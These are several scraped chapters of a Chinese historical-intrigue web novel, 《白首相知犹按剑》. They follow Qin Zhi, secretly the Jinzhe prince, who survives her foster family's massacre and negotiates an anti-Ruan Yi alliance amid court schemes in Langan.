秦祉默默跟在后面,冷眼看着前面步履轻浮的花颖慈,警惕之心不减反增。 他们的确多年未见了,上一次匆匆一别,还是五年前在廷尉段家,隔屏相见。 ---- 五年前。 都邑城火光接天,赤红星光似孔明灯冉冉升起,滚滚浓烟肆无忌惮淹没天边。 洛水巷尾,秦祉从墙头歪歪斜斜地栽倒下来,月影下,那是一张更为青涩、稚嫩的面庞,此刻双眼通红一片,身上玄衣血迹斑斑。 “女公子!”崔颉妙一把将险些摔倒的秦祉扶起,“还好吗?” 秦祉眼前发黑,她用力晃了晃头,哑声道:“不用管我,我没事,后面追兵还剩多少?” “十余人。”崔颉妙脸色也好不到哪去,不止是对方人数上的差距,偏偏来的都是专门培养的死士,身手不俗,仅凭他们二人难以抵挡如此攻势。 秦祉微微喘了一口气:“只能、拼一把了。” 她逼着自己镇定下来,说:“若是成功,相国府今日的血海深仇,我迟早会报,若是失败......” “女公子!”崔颉妙果断截了她的话,极为认真道,“不会失败,我一定会护你周全。” 夜,遮云蔽月,举目皆黑。 相国府内哀声四起,浓郁的血腥气扑面而来,到处尸横遍野,凡是活人,皆不等破喉而出的尖叫响起,便被人一剑封喉。 “噗呲”一声,血溅三尺。 黑衣人疾行于墙头,一脚踏于瓦砖,翻身而下,踩在鲜血汇聚而成的地面,霎时间衣摆污秽。 “你便是相国公的嫡女秦祉?” 面前那女子眸光没有一丝笑意,只静默看他。 这死士仿佛寻到了笑料,抬剑道:“真可怜啊,来世投个好胎吧。” 剑刃猛然从脖颈划过,宛如一朵盛开的朝花,夺目绚丽,顷刻之间,人消无声息地倒下。 “同样的话,我也送给你。”秦祉手持长剑,站在此人身后,面无表情道。 “女公子,得马上离开这里。” “走不了了。”秦祉说。 崔颉妙身形一顿,顺着秦祉那双倒映熊熊烈火的黑眸看去,墙头之上,数十名死士已然悄无声息的现了身。 刚刚这人,是一个诱饵。 一个引诱她们二人现身的饵料。 秦祉握着剑柄的手指泛白,不甚察觉地发抖,可世间万物瞬息万变,天,也无绝人之路。 “瞧,我说什么?”屋檐之上,自有一人月下雅坐,花间美酒,“各位,给我个面子,此等美景之下打打杀杀便免了。” “你是谁?”死士头目皱眉质问,同时刀剑握紧几分。 他仰头猛地灌下一大口,露出修长漂亮的脖颈,而后将酒瓶从上方之间丢下,碎片洒落一地,他这才回眸看去,目光之中满是冷意,可这嘴角却还牵着笑。 “花、花中郎将?”那人心中如临深谷,他想不通此人如何会现身于此,只好威胁道,“此事与你无关,还请中郎将当作什么都没看见,不要插手。” “是么?”花颖慈眼睛微微眯起,“那我若偏要插手呢?” 死士提刀说:“那在下只有道一声抱歉了,杀!” 花颖慈只将一块玉佩抛给秦祉,头也不回道:“还在愣着那看戏做什么,快滚蛋。” 而后这人提剑便轻松还击,刀光剑影、纵横交错,秦祉低头看了一眼那块玉佩,上雕岁寒腊梅白玉翡翠,她愕然失措,连忙握紧收入怀中,从小道消失了。 深夜的洛水巷,唯有头顶一片悬月,静谧悠然。 ---- “稍微吃点东西吧。”食盒被端几案上,“从昨夜至今你都不曾进食,身体会吃不消。” 谒舍内,床榻依稀可见人影,侧身靠着安立柱,嘴中叼细纱布做结。 窗外微光乍现,屋内却仿若蒙上雾,灰蒙蒙的,但即便如此,油灯也只是安置于案,并无点亮。 秦祉手臂白布下血迹斑斑,她不再理会,只虚礼道:“谢过段淑女。” “只是不知淑女为何会出手相救?”秦祉略有吃力的将外衣披身。 “你明知故问。”她说,“朝中每时每刻都变幻万千,兄长因不肯与阮义同流,举步维艰,我唯恐兄长不能独善其身。” “都邑近来有谣言称......”她语气一顿,眼睛闪了闪,这才继续道,“总之,我希望今日你能承我的情,若是他朝一日我们段家不幸遇险,你也能帮我和兄长一次。” 这人着软毛织锦赤色斗篷,内里丹青色襦裙清淡素雅,正是都邑城第一才女,廷尉段家长女段姝焉。 “我叫人去街头打听了,外面现在都传......”段姝焉下意识停住了话题,暗自打量着秦祉的神色,此番话并不是容易说出口的,尤其是对着这样一个身负重伤,从那地狱之中逃出来的人来说。 “你有话直说,不用想其他的。”秦祉说。 段姝焉点头,一只手轻轻握住秦祉,道:“外面都传相国府再无活口,但城内搜寻的人马并未散去,阮义手下的骑都尉屠玉将军亲临,说是恐昨日刺客未绝,为保天子安危继而搜查,让百姓不要惊慌。” “都邑城门眼下并未落锁,只是有重兵把守,往来出行并非易事。”段姝焉说,“我命人备马车,你扮作我侍女的模样,我送你出城,想必不会有人察觉。” 秦祉摇头说:“不行,既然屠玉当街搜寻,声势如此之大,此事并非你想的那么简单,承蒙段淑女救命之恩,接下来请淑女就当从未见过我,不要说,不要问,亦不要想。” “这府上可有偏门,我如今身份,不能再多待……” “不好了!女公子!”院外一阵急促的脚步声,侍女迈着碎步一路小跑着,面色惊慌失措,竟“哐”地撞上了门。 “做什么如此慌乱?” 她喘着气道:“花、花...兰干花中朗将突然上门拜访,眼下已经到了客堂!” 霎时间空气徒然一窒,段姝焉失手打翻了食盒,那碗粥顺着案缓慢流至地面,裹挟着糕点,一片狼藉的除了眼下此景,还有段姝焉那猛然跳动的心:“兄长不在邸中,他为何会来?” “他是一个人,还是带了什么其他的?” “是一个人。”侍女道,“只带着一个木盒,说是送给女公子的薄礼。” 段姝焉深吸了一口气,朝着秦祉望去,不安地情绪仿佛从眼底滋生,慢慢覆盖全脸。 ---- 客堂内,一盏清茶被端起,花颖慈轻轻拂去茶沫,兀自笑道:“你们段家当真是家大业大,我自来了有一刻钟时间,茶都凉了也不见人来。” 25. 第 25 章 《白首相知犹按剑》全本免费阅读 “那么你呢。”花颖慈停下脚步,回首道,“这些年一直寻找秦赜……” “是想杀人灭口,将身世秘密彻底掩埋吗?” 秦祉笑了:“本王身世何来秘密?” 花颖慈也展眉笑道:“什么玉佩?我早不记得了。” ---- 秦祉,是相国公秦家的嫡女,这是都邑城人人皆知的事实。 但她并不是。 燕安如今天子是先皇燕明帝楚珩的幼弟,而他们二人的父皇,曾经的天子燕隋帝,乃是上任晋赭王的亲兄弟。 当年燕隋帝在位之时,因数代幼帝羸弱,内有外戚宦官之争,外有豪强四起,天下早已动荡不安,为扶持皇室,晋赭王可谓尽心尽力,可偏偏他诞下一女,而女世子,是没有资格继承王位的。 燕隋帝为保晋赭封地,只得对外宣称世子体弱,不易见风,从而养在深宫,便打算以女子之身,待到合适时机继位称王。 但乱世如白云苍狗,世子幼时,晋赭王不幸遇害,惨死他手,这股势力仍缠绕于世子不散。 燕隋帝只好将其安养于相国秦家,从此对外宣称这世子南下治病,远离纷争。 直到十年后,外人眼中,这世子楚霁才重回都邑,承受封大典。 可也是同月,相国府秦家便遭灭门。 晋赭王楚霁的名声迟早远扬,可她从记忆起便生活的秦家,从此荡然无存、不见天日。 若非她当时那一番话,相国公何至于朝堂之上公然与阮义对峙,而落得这般下场? 所以她是楚霁,却也不止是楚霁。 ---- 花颖慈这人古怪的很,无论是五年前那枚玉佩,一颗人头,或是他突发好心的帮助,还是眼下这打着谜语的对话,都让人猜不透他究竟想要做什么。 “那人是秦赜手下的贴身侍卫王复。”秦祉说,“你如何将他赠予我?” 花颖慈似乎听到了什么有趣的话,他一边打理着手上的红玉串珠,一边反问:“殿下,那可都是五年前的礼物了......” “你莫不是这些年,都没有搞清楚,当年秦家火灾不止是阮义一人造成的结果吧?” 秦祉忍住没有动手,当年要活口没活口,要时间没时间,一路被人跟撵狗一样,一路从都邑城往南边赶,横跨潭州,翻山越岭、跋山涉水,这才侥幸活着逃到了梌州晋赭。 落地便又马不停蹄地跟当地门阀士族周旋,等有时间有人手去查的时候,哪里还留得下什么证据。 尤其是这王复的背景,秦赜与她一早便留意着,此人身后牵扯势力甚广,决计不能打草惊蛇。 结果人还没等到什么消息,头就让这花颖慈直接送到面前来,生生把这条线给断了! 秦祉看似和煦一笑,但牙关咬的死,才险些没指着这人骂,她闭了闭眼,这才说:“这么说我还得谢谢你?” “哪里的话。”花颖慈说,“殿下你何止只欠我一句谢...” 寒光一闪,剑身骤然凌空划过,花颖慈当即后仰堪堪避开,浅声斥责:“你这孩子,怎么还恩将仇报。” 秦祉冷笑一声,懒得搭理,收剑就往回走。 花颖慈眸中笑意不减,最后一缕微光照在身上,他抬眼看了看夜色,而后跟了上去。 “唉?”远端树丛后,小孩儿扒开树枝,朝着那两道身影看去,楝色长袍外暗纹若隐若现,镶边绣花织金,极为精致,珠玉禁步琳琅满目,腰佩玉剑,举手投足颇具贵气。 “晋赭王?” 这声音并不大,尤其不远处筵席弄竹弹丝,可秦祉耳力特别,仍精准捕捉到了这声响,停下脚步。 那孩子不过十岁出头,但穿着锦衣,见秦祉望过来,他双手合拢,浅浅行了一礼。 “兰干王。”秦祉偏头打量着,说。 “你怎么知道?”他瞪大了双眼,而后故意清了清嗓,说,“我乃兰干王楚懋,早听闻晋赭王到来,特来......” “啧,你跑出来做什么?”花颖慈单手拎着楚懋的衣襟,将人从秦祉面前扯了开:“不是特意嘱咐你今夜不要露脸?” “为什么不可以?” “就凭我让你两只手你都打不过我。”花颖慈收敛笑意的双眸格外寒凉,“你若是出了点什么事,那今夜出席燕会之人,一个都跑不掉。” “时维乱世,唯诸侯皇室之正统最是迷人。”花颖慈轻轻抚摸着楚懋的脸庞,“殿下你呀,好比掉进狼窝里的一块肥肉,叫人爱不释手。” 话是这么跟楚懋说着,可那赤裸裸地眼神却落在了秦祉身上。 秦祉直视对方投来的目光,相当自如。 “可本王、想和晋赭王说说话。”楚懋年纪不大,因而这声自称就显得没那么有气魄了,更像是一种恳求。 花颖慈低眸盯着他,半响说:“也好,殿下。” 他的手从楚懋脸上转向肩膀,轻轻拍了拍,似在警告。 “花中朗将去哪?”秦祉扬声问。 “殿下要同你说话,我当然退避三舍。” “你若不在,兰干王一旦出了什么问题,岂非是本王的错?”秦祉反问说,“你还是留下为妙。” 花颖慈若有所思,看向楚懋:“殿下以为呢?” 楚懋被这眼神盯的一惊,只抬手轻轻拽了拽秦祉的衣袖:“我...本王想和晋赭王单独待一会儿。” “你看。”花颖慈装作无奈的摊手,而后顺着长廊朝筵席去了。 “我和你是初次见面吧。”秦祉靠着桥栏坐下,将视线放低,“你为何要寻我?” “我、我听过你的故事。”楚懋咬唇,踌躇半天才说,“听闻晋赭王十四岁受封大典,自都邑一路赶到梌州,短短五年时间,从一无所有、尺寸之柄,到如今拥兵自固、处尊居显,实属不易之举。” “梌州地处中原,其旁环绕势力自有潭、沧、交、肃、晋、蜀六州,上通沄江,西至氾州、东至海港,繁荣富足,当属膏腴之地。” “可这样的地界落入中原,周遭士族门阀便是虎视眈眈、其欲逐逐。”楚懋越说,眼神也愈发明亮,“能够在梌州这八方风雨尽来之地, 26. 第 26 章 《白首相知犹按剑》全本免费阅读 秦祉停下脚步:“你来了?” “殿下似乎很意外?”张珏反问,“不是殿下唤我此刻相见的吗?” 半日前,张珏府中,秦祉与李竹启离去后,有一侍从将一纸条从茶盏下取出,恭敬道:“簿曹,这好像是晋赭王留下的。” 纸张被折了几道,并不大,打开来,上书: 今夜子时南府外见。 张珏轻笑一声,说:“燕会前在下左思右想,都不得明白殿下与我并不相识,如何突然到访府上,我深知今日筵席恐怕是一场鸿门宴,可也断不会料想,竟然是徐生。” “徐生做得很好。”秦祉说,“若非有不怕死的百姓冲撞本王的马车,徐生那档子事儿闹不到我们面前。” 张珏闻言长叹一口气:“徐生这人,若是有半分徐行的本事,也不至于此啊。” 他转眼看向秦祉,又道:“就是不知殿下此番又是欲意何为了。” “你以为呢?” “猜不透啊。”张珏上前两步,目光淡然地盯着秦祉的双眼,“在下以为,徐生此举拖延兰干战局一事,是为兰干讨伐周令,可若是如此,在下便只有死路一条。” “兰干岂会容忍我这样的人活到最后,平白道出真相?” 张珏顿了顿,似想到什么了,摇头失笑道:“殿下,你和柏萧鹤可真是......” “一箭双雕啊。” 秦祉莞尔一笑:“先生谬赞。” 徐生一事公然挑明,不论张珏是否承认,皆为兰干铺出一条通往中原的路,可如此,张珏则必死,若非如此,他只得逃,逃离兰干。 但周令也会杀他,以此坐实兰干出兵之由乃是他们自导自演。 “真是把我架在火上烤啊。”张珏感喟道,晋赭王此刻是为第三条路而来,只是这路是生是死,也未可知。 “徐生可有人救?”秦祉不再闲话,而是直奔主题。 张珏微微舒展了下身姿:“大概吧,这人是徐行的侄子,关系挺近的,就是性格轴了些,从小锦衣玉食的长大,非要自己跑出来干一番名声。” “结果这人呢,受不得苦,又拉不下面子去求助,做事就越发没得轻重。”张珏说到此,眼中笑意逐渐消失,“而一旦尝到了权利的滋味,哪怕只有一点,也足以让他迷失心智。” “徐行不在乎他为人,只为他那弟弟,管着这人生死而已,因此今夜一事,或许徐氏得知消息,会派人来也说不准。” “烧杀掠夺、无恶不作。”秦祉声音冷地犹如寒冰,“徐行君子如玉,如何看得下去这种做派,倒不如直接清理门户,落得干净。” “殿下,那是对你。”张珏说,“譬如徐行,譬如荀谌,还是与你同行的柏萧鹤......” “包括你身边那位太守,都是一样的。” “你看到的他们的样子,不过仅仅是因为,你晋赭王的身份。”张珏淡笑道,“这些位高权重的人啊......” “徐生如何执意不指认你。” 张珏眨了眨眼,笑问:“殿下,这算投诚吗?” “那要看你的诚意有多少了。”秦祉语气平静。 张珏直起身,退了半步:“因为他不敢。” “殿下,你以为兰干当真这些年什么都没做?”张珏说,“兰干是要争权的,楚懋就是个例子。” “你可在今日燕会上撞见这兰干王了?” “看见了。” “没有吧...”张珏声音一顿,“啊?” 秦祉点头:“看见了。” “哎呦这话让在下不好往下接啊。”张珏抬手按了按眉心,“总之兰干王如今不过一傀儡而已,这任谁看着不会动什么心思呢?周氏也是同理。” “明面上都觉我是周令的门客,若徐生公然指认我,便形同挡了周令的路,周氏可是五世三公,门阀遍布天下,他徐生如何敢承担这后果?” “若真因此致使徐氏得罪了周氏,就真成罪人了。” “殿下,知道的我可都告诉你了。”张珏微微附身,似轻声求饶,语气带笑,“你可得救我一命。” 秦祉微微偏头,靠在张珏耳侧,气声说话,半响只见张珏目光徒然一变,幽深莫测,意味深长:“殿下...” “做不做?” 张珏缓缓开口,笑说:“朔昭阁密探张珏,任凭殿下差遣。” “啊!” 一声惊呼顿时让两人光速分离,深更半夜街头巷尾哪里来的声音? 秦祉递给张珏一道眼神,让他先走,这才踱步从拐角处现身。 街头那女子身披灰蒙蒙的斗篷,内里却是碧色锦裙,露出的一小节皮肤白皙胜雪,眼眸乌黑发亮,面容清秀绝伦,只是略带一丝慌乱,提着裙摆,见到秦祉呼吸一窒,僵在了原地。 “你......” 秦祉端相片刻,刚想开口,谁知这人掉头便往深巷里跑。 “那边是死胡同啊。”秦祉无奈叹气。 只可惜这姑娘慌不择路,只顾着随便找一条路,今日是晋赭王的燕会,满城都顾着那个亲王,因此不会有人格外注意她。 据说明日晋赭王便要动身返程,因此今夜荀谌一定会在书房跟文官忙碌一整晚,他顾不上她的! 她要逃,就趁着今夜,只要逃出兰干城,荀谌便无计可施了! “那位如果我没猜错,是荀谌的妾室,叫什么...”张珏思绪良久,“关婧?” “你怎么还不走?”秦祉看他,“若真是荀谌的妾室,一会儿人来了,她没抓到,给你我二人堵个正着。” “殿下你可别一语成谶。”张珏听罢毫不犹豫转身便走,嘴里振振有词,“你倒是无妨,在下小命可真要挂城墙上了。” 偏生迎面来了一队人,这张珏当即深吸一口气,掉头就往回走,再度从秦祉面前路过时,还顺带给了她一个“我就知道!”的眼神,急冲冲地从另一边消失了。 秦祉扶额心道:希望一会儿不要再从那边回来了。 “晋赭王殿下?”那领兵侍卫诧异行礼,“您怎么……半夜出现在这里?” 他环顾四周,并未看见什么人。 秦祉说:“今夜月色不错,中原甚少看的如此清透,本王便出门赏月了。” 侍卫抬头,只见云层缓慢移动,遮住大半月辉。 27. 联盟 《白首相知犹按剑》全本免费阅读 “雅兴,花中郎将。”秦祉抱臂而立,见人来颔首笑道。 花颖慈目光动了动:“就殿下一人?” 浪昭说她今日八成夜半不睡在街上游走…… 秦祉脑海中闪过刚从花颖慈口中隐约听见的对话,淡然笑着反问:“不然呢,你还想看见谁?” “夜黑风高,殿下还是自个留意着吧。”花颖慈避而不答,慢条斯理道,“别跟之前一样,被一群人追的浑身是伤。” 这话意有所指,秦祉全当听不懂,只说:“花中郎将多虑,本王如何会在兰干出事?” “五大营将军皆在,本王自当安然无恙。” “但愿。”花颖慈尾音延长,语气带笑,说完扬起下巴,示意返程。 侍卫得令,便要动身,谁知安瑾突然挣扎喊话。 “不!” “我不想...我不想回去...”安瑾微微摇头,目光闪烁不安,她企图寻找一丝庇佑,可偏偏这周围皆是荀谌的人。 她不敢想此番回府会是什么景象,或许她若不赌一把,今生都未必能逃离这里,她呼吸急促,咬紧牙关,突然猛地挣脱两侧士兵,直接扑跪在秦祉面前。 “殿下、殿下!”安瑾双眼泛红,仰头看她,“求您救救我……” 仓皇的动作让秦祉下意识敏锐地后退半步,旋即皱起了眉。 可花颖慈这人本就无情,眼下更是已然失了耐心,他翻身下马,一只手强势地搀着安瑾起了身,声音冷冽低沉,没了往日那蛊惑的音调:“起来。” “直接将人压到荀谌面前。”花颖慈吩咐道,“少听她胡言乱语。” “是。” 安瑾来不及多说任何一字,便被强行带走了,任凭如何挣扎,皆是无用。 花颖慈并未动身,反而面向秦祉:“殿下,你就没有什么想问的?” “我问什么?”秦祉勾唇,“我若问,你便说么?” 花颖慈轻轻抬手,比了个“请”的手势,二人朝着柏萧鹤府邸走去:“这人是荀谌的妾室。” “当年浪昭与沧州的劭关之战结束后,两方谈判时对方送来的,这原本是给柏浪昭的。” 花颖慈垂眸忽而一笑:“但他不要。” “他这人一心只顾着战,比起女人,兵马城池更得他意,可偏偏韶关安氏曾在阮义入主都邑时,跟着响应过,于是这人啊,为了避开阮义麾下的名声便将女儿送了过来。” “卖女求荣。”秦祉瞥他一眼,“我明白你想说什么。” 花颖慈向前行了两步,说:“和殿下讲话果然轻快,那我先行告退,你自己回府吧。” 他颔首,上马离去。 静谧之间唯有马蹄声渐行渐远。 这是提醒,也是警告。 那名为安瑾的女子,是嫁接氾州兰干与沧州劭关的桥梁,因而即便并非出自她本意,她也半点若不开身,早已身不由己。 既是当年意图送给柏萧鹤的人,如今却成了荀谌的妾室,虽不知他对这女子态度究竟如何,但看如今多人把守,甚至出动了中郎将带兵捉人的架势,定然是重视的。 因此花颖慈是在提醒她,不要试图挽救此人。 ---- 荀府。 书房内烛火通明,文官正坐其间,与主位上的人秉烛夜谈,荀谌面色冷凝,淡漠地听着堂下对话,端起茶盏微抿一口。 “好了,我大抵明白你们的意思了,今夜时辰不早,都散了吧。” 众人只得起身告退,刚出了门,就看见一行府兵压着人进了院落。 刚有文官想开口,便被身旁的人拉了下袖子,低声道:“少说两句,兰干相近几日因为晋赭王够心烦了,你别上赶着给人添堵。” “快走吧。”几人紧赶慢赶着,抢在士兵进屋前离了院子。 “兰干相。”府兵行礼道,“人带回来了。” 安瑾在踏入荀府的一刻起,就已经浑身止不住的抖,尤其是这书房,仿佛当年第一次被送入此地那般可怖。 荀谌暗纹金丝玄色窄袍,披风银线勾勒,星斗镶嵌玉珠,腰间玉组佩精致复杂,单是远远站着,就满是盛气凌人、高不可攀之意。 当年随她而来的另有她父亲安插进来的眼线,当做侍女跟在身边,可不过一个照面,荀谌连眼神都未曾落到自己身上,侧身跟柏萧鹤说着话的功夫,便轻飘飘定下了几人的生死。 他隔空遥遥一指,声音清冷无情:“除她以外,杀。” 顷刻之间,身后几人连求饶的机会都未曾有,便被生生拖了下去,安瑾浑身僵硬地站在院中,对上了那双侵略危险的黑眸。 时空交汇,这人缓缓从书房踏出的一刻,安瑾连呼吸都屏住了。 “过来。”荀谌幽深的眸子紧盯着她,半响嘴角竟勾起一抹笑意,单手轻松将安瑾捞入怀中,一股檀香浅浅绕于身侧,无声裹住安瑾,她想要挣扎,却被荀谌一道视线止住了动作,“好玩吗?” 安瑾猛地摇头:“不......” “嘘。”荀谌一只手指轻轻抵住她唇间,“我今夜不想听见你的口中说出任何一个字。” 手臂越收越紧,安瑾只能受着,双手抓住荀谌的外袍,颤着身将头埋进了荀谌胸膛:“求你......” “等等!”门外士兵突然大惊喊道,“不行这不能进!” “二位祖宗啊!”那人声音崩溃,匆匆追在后方,“真是要命啊!” “你们二人深夜来此,可是燕会上有什么话不方便说?”荀谌微微颔首,但显然眉目间另有不满之意。 他对面,正是去而复返的秦祉,与一副准备看好戏的柏萧鹤。 “深夜造访属实是本王失礼,但因花中朗将一席话,本王辗转思绪、夜不能寐,终需兰干相解惑才是。” 荀谌沉默半响,叹道:“殿下,请。” 安瑾拘束地站在原地,荀谌只轻轻拍了拍她的背,示意她自己回去,动作亲昵却暗藏警告,可偏偏这晋赭王跟背后长了双眼一般,又说:“啊对了,这事儿跟安夫人有关,还望夫人留步?” 幸得礼官不随行身侧,不然此 28. 中郎将 《白首相知犹按剑》全本免费阅读 “仁也者,人也。合而言之,道也。【1】”秦祉不再看他,只转身朝着谒舍走,爽朗而带着笑意的声音远远传来,“而大道之行也......” 天下为公。【2】 柏萧鹤直起身,注视着这位小亲王离去挺拔的背影,若有所思。 她夜闯荀府的目的,皆藏匿于一言一行之中,只需稍稍窥探便知一二,那安瑾的身份,她无法出言相助,但一女子当街跪地求救的举动,却是秦祉不能忽视的。 但联盟合作在即,即便她晋赭王的身份,也不好插手兰干事宜,更诓论此为兰干相荀谌的家事。 因而以正事旁敲侧击,乃不得已之下策。 “明日本王便要出发去往端寿,在此之前,我想问你一句话。”秦祉突然回身说。 晚风从街角拂面而来,二人相向而立,彼此间仿佛凝滞静止,偶有微乎其微的虫鸣拉的很长,在这幽深静谧的空气间增添了半点烟火气。 柏萧鹤抬眸凝视她,那双眼中蕴藏着不明的情绪,宛若沁了墨般浓郁乌黑。 “你......” “什么人!”闾巷里拐出一名巡视尉官,见人当即大喝一声。 “话留着一会儿再说!”柏萧鹤毫不犹豫地将路边一块牌匾一脚踹飞,直奔着尉官的面首而去,他果断拽住秦祉的手腕,朝着反方向拔腿就跑。 “站住!” “不准跑!” 身后洋洋洒洒跟了四五个人,皆官兵打扮,提着刀一路狂追。 “他们是什么人?”混乱中秦祉回头,堪堪避开对方随手扔过来的物体,喊道,“就这么几个人不能还手吗,为什么要跑?” 柏萧鹤抬手一指道:“翻墙。” 两个人同时腾空而起,一脚踏在墙壁,手一勾一撑,堪称同步消失在视野。 “这人是尉官,负责兰干城宵禁的。”柏萧鹤拍了拍手上的灰,说,“认死理,人比较......” 他迟疑两秒,才道:“正直吧。” “殿下,刚刚的问题你可以继续说了。” 秦祉抿了抿唇,牵强的笑了一下。 柏萧鹤见状微微眯起眸。 她突然问:“你说的为人正直指的是哪方面呢?” “恩?” “会对亲王大打出手吗?”秦祉说,“应该不会吧。” 她面无表情地抬手拍了拍柏萧鹤的肩,心如止水的示意道,“回头。” 她的对面,另有几人万分诧异,瞪大了双眼看着这二人,旋即大喊一声:“你们是什么人?” 二人同时深吸一口气,秦祉闭了闭眼,叹道:“要命啊。” 亏得兰干城够大,秦祉与柏萧鹤跟遛鸟一般,兜兜转转从一个墙头跳到另一个墙头,绕着兰干四处闲逛似的,惹得夜巡兵人仰马翻,怒火滔天。 直至将人彻底甩掉,他们才看似安心实则跟做贼一般的回了府。 秦祉靠着桥栏坐下,微微喘气,说:“再过一个时辰天怕是要亮了。” “卯时上四刻,要去荀府议事,殿下,我命人替你放水,先梳洗休息吧。” “你...”秦祉刚要开口,只听他又停下脚步,回首笑道,“一会儿我来找你。” 你还是别来了……我沐浴你来什么? 秦祉想,遂崩溃。 谒舍内,木桶热气腾腾,秦祉将发髻散开,乌黑柔顺的长发搭在肩头,她着中衣泡在水中,阖眼静坐,卸下一夜疲惫,仿佛浑身毛孔都要炸开般舒适。 “舒服吗?”头顶那道熟悉地,带着特有韵味的声音响起,伴随而至的是一缕梅香。 几片花瓣从柏萧鹤手中飘落而下,荡漾在水池之中,秦祉睁开眼,捏起一瓣道:“你倒是有情致。” “等天亮了,夜巡尉官定会将刚刚那事报上去,晨起的议事八成又要热闹了。” “本王非兰干人士,哪里知晓兰干的规矩?”秦祉笑说,“还得仰仗柏将军,夜巡一事按理说也是你去负责啊。” “知道你会这么说。”柏萧鹤轻嗤一声,随手便将水泼她一脸,得来秦祉一声惊呼,他笑道,“问吧。” 秦祉用手摸了把脸,将水扬了过去,柏萧鹤避之不及,衣袍瞬间成了半湿:“殿下。” 秦祉满意一笑,这才开口:“秦赜。” “查的如何了?” 柏萧鹤幽幽道:“殿下,仅有一个名字,棘手啊。” “别装。”秦祉看他,“你们兰干五年前搅和在兰干,能不知这秦赜的身份样貌?” “五年前相国府灭门一日,唯有一人确切行迹不明。”柏萧鹤垂眸看着因热气而略泛红润的脸,“但时间太久远,无法确定此人是否出入天桂山,带走秦赜。” “是谁?” “中郎将花颖慈。” 空气中徒然安静,二人四目相对,相向无言。 半响,秦祉扶着木桶边缘起身,“哗啦”一声,水自身上落下,水花四起溅出。 雾气缭绕中,秦祉冷笑道:“果然是他。” 那就并非秦赜自己跑去的天桂山了,尚在都邑城内,这二人就已经有了交集。 难怪他会将秦赜的玉佩丢给她…… “兰干可能寻到秦赜踪迹吗?” “不好说,如果秦赜有意想躲,卓令知晓内幕且可帮忙的情况下,难。” “那就有劳柏将军替我探寻着,有消息即刻派人告知于我。” “当然。” ---- “主公,你这是昨夜没睡好?” 天边泛起鱼肚白,朝霞东升,顷刻间兰干染上灼光,庭院中,贾文勰神采奕奕,偏头看向从里屋推门而出的秦祉。 “何止,一夜未眠啊。”秦祉掩面打了个呵欠,“很明显吗?” “怎么说呢...”贾文勰笑笑说,“不如叫梳头女官来傅粉明眸吧,好歹别让人怀疑昨夜跟偷......” “咻”。 一根树枝瞬间飞来,贾文勰话音一截,堪堪朝着旁边廊柱躲了开,嘴里“哎呦”一声,连忙说着:“主公,这话还没听完,怎的就恼了?” 她当然了解贾文勰这人,深知什么叫做狗嘴里吐不出象牙,不必全说出口,张嘴的语调、表情就知他没什么好话。 “我去叫女官备妆奁。”他笑着将那树枝拾起,随手放到了花园中,翩翩离去。 到底是连夜奔波数月,如今又要面临这会盟一事,秦祉乏累的人都散了,只趺坐在妆奁前,阖眼休息。 梳头女官打开妆奁,将珍珠粉敷上面颊,这人眉目舒展,浓捷密长,眼下虽有淡淡地乌黑,却更添一分倦怠之美。 她不敢多看,只匆匆瞥了几眼。 “今日出发,快的话也要半月有余方能抵达端寿,若是兰干一同前往,估计就要足月了。” 秦祉鼻腔轻轻哼了一声,说:“端寿倒是离梌州更近,从兰干走能途径劭关,劭关太守安屿承也会去,说不准能碰上。” “在下记得,这安屿承貌似与兰干有些关系?” “是,劭关之战后,安屿承便坐上了太守之位,这期间有兰干的协助。”秦祉说,“也不知那荀谌怎么想的,安屿承这人趋炎附势,可不是什么好东西。” 这话说的随意,可落进了女官耳中则不同,她被这言论惊的手一抖,珍珠粉竟扑 29. 旧识 《白首相知犹按剑》全本免费阅读 “小周将军?”见周烁声半天没反应,尉官忍不住开口唤道。 周烁声猛地回神,看着这尉官张了张嘴,欲言又止:“说的......在理哈。” “什么在理?” “哎!”周烁声浑身一震,他扬声道,“这个事实在是太严重了,你可得好好查清楚啊,那边晋赭王还等着呢,我先过去了!” 然后不等尉官言语,他一溜烟地朝着门口那二人中间冲了进去,带起一阵余风,将尉官目瞪口呆的那句“小周将军”撇在了身后。 一进书房,周烁声便跪坐到案几前喝下了一整杯茶水,视线游走着:“这人可真是,他那描述说的不会真是你们两个人吧?” “子时不睡觉,在街上闲逛,这么有雅兴啊?” “少管。”柏萧鹤轻描淡写,半点解释都懒得给,他只抬眼问,“其他人呢?” “他们什么时候不是守着准时来的?”周烁声哼哼两声,说,“像我似的提前来还差点揽个不该管的活。” “昨日......”柏萧鹤慢悠悠道。 “哎谌哥,我听说昨夜讨阮盟会地址定了,那个是怎么回事来着?”周烁声赫然起身打断了他的揭短,还险些绊着了自己。 “他这人一向如此,还望殿下见谅。”解祈安自门外而入,晃着便面,含笑而来,双手交叉作揖道,“听闻昨夜太守收到急报,如今人皆数到齐,可否详谈一二?” 他身后,鱼贯而入兰干一众文官,皆躬身行礼,齐道一声“晋赭王”。 ---- 晨风入帏,携一股冷意悄然吹散书房的热气,冷冬暖阳当头,将郁郁葱葱地树梢笼上一层薄纱,如碎金般金光跳跃。 侍女掀起帷幔,手中食案上置新茶糕点,外表晶莹剔透、精雕细琢。 书房正中,木案上摆路观图,牛皮制成,宽近二尺,其上包揽天下十四州,官商两道,水陆双通。 “以都邑为中,三方位设点,东北方的蜀州幡趾,北偏西的殷州徽康,以及最后一处,西南方向,距我们最近的,沧州端寿。” 路观图上,都邑外画以三角阵型,将其牢牢包围。 “此次联盟无人意欲邀兰干加入,原因无他,仅氾州乃我燕安边防要地,自有五大营驻守抵御外族,因而这中原乱战尚未将你们牵扯进来。”秦祉喝了口茶,说,“但讨阮一事乃天下群雄之第一要务,联名单上的人都是将来事成之后军功册上的人。” “此等好事,殿下竟也会想着我们?”文官反问,语气中却充斥着不信任。 “天下熙熙,皆为利来啊。【1】”秦祉平静道,“讨阮联盟若是成了,阮义一倒,必会苍生倒悬,国之将亡。” “各地豪强虎视眈眈,本王届时将四面楚歌。” 柏萧鹤端茶的手不易察觉的停顿片刻,他神色波澜不惊,但漆黑如墨的眼眸却落到了人群之间侃侃而谈、自信张扬,内里不知多少心机妙计的晋赭王身上。 或许,秦赜也并非这人全部亦或是真正的目的…… “诚如殿下所言,中原势力鱼龙混杂,若选,叫兰干王如何想?”荀谌喟然道。 “兰干相怕不是说笑了。”秦祉语焉不详地回,“他若重要,何故眼下不出面呢?” 书房内霎时无声,唯有几双眼睛你看我我看你,彼此之间心照不宣。 